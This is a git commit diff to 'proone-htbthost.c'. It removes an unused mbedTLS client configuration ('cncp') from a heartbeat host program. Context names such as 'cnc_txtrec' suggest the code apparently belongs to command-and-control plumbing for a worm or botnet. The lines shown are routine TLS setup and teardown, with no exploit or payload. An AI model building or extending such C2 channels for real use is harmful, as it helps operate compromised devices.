diff options
author | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
commit | 550d2eec27a42254b26139208765022fffe7c775 (patch) | |
tree | 3842addbbded988183405d37b9cc9c451ba919d9 /src/proone-htbthost.c | |
parent | 8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff) |
* Remove proone-unpack
* self test is done by proone-pack
* Impl: htbt@proone
* htbt: allocate large buffer first by deault
* htbt: use 0600 for NY_BIN as the image is not an executable
* pack: return error when z_stream is cut short
* proone-pack: impl "nybin" file format
Diffstat (limited to 'src/proone-htbthost.c')
-rw-r--r-- | src/proone-htbthost.c | 12 |
1 files changed, 0 insertions, 12 deletions
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index dbc53d6..a407253 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -340,9 +340,6 @@ int main (const int argc, const char **args) { mbedtls_pk_context key; mbedtls_ssl_config conf; } c; - struct { - mbedtls_ssl_config conf; - } cncp; } ssl; sigemptyset(&ss_all); @@ -420,7 +417,6 @@ int main (const int argc, const char **args) { mbedtls_dhm_init(&ssl.s.dhm); mbedtls_ssl_config_init(&ssl.s.conf); mbedtls_ssl_config_init(&ssl.c.conf); - mbedtls_ssl_config_init(&ssl.cncp.conf); load_ssl_conf( &ssl.ca, &ssl.s.conf, @@ -431,12 +427,6 @@ int main (const int argc, const char **args) { &ssl.c.crt, &ssl.c.key, &rnd); - prne_assert(mbedtls_ssl_config_defaults( - &ssl.cncp.conf, - MBEDTLS_SSL_IS_CLIENT, - MBEDTLS_SSL_TRANSPORT_STREAM, - MBEDTLS_SSL_PRESET_DEFAULT) == 0); - mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd); mbedtls_ssl_conf_dbg(&ssl.s.conf, mbedtls_dbg_f, NULL); mbedtls_ssl_conf_dbg(&ssl.c.conf, mbedtls_dbg_f, NULL); @@ -469,7 +459,6 @@ int main (const int argc, const char **args) { prne_htbt_init_param(¶m); param.lbd_ssl_conf = &ssl.s.conf; param.main_ssl_conf = &ssl.c.conf; - param.cncp_ssl_conf = &ssl.cncp.conf; param.ctr_drbg = &rnd; param.resolv = resolv; param.cb_f.cnc_txtrec = cb_txtrec; @@ -514,7 +503,6 @@ int main (const int argc, const char **args) { mbedtls_dhm_free(&ssl.s.dhm); mbedtls_ssl_config_free(&ssl.s.conf); mbedtls_ssl_config_free(&ssl.c.conf); - mbedtls_ssl_config_free(&ssl.cncp.conf); mbedtls_ctr_drbg_free(&rnd); mbedtls_entropy_free(&entropy); free_htbthost_param(&htbthost_param); |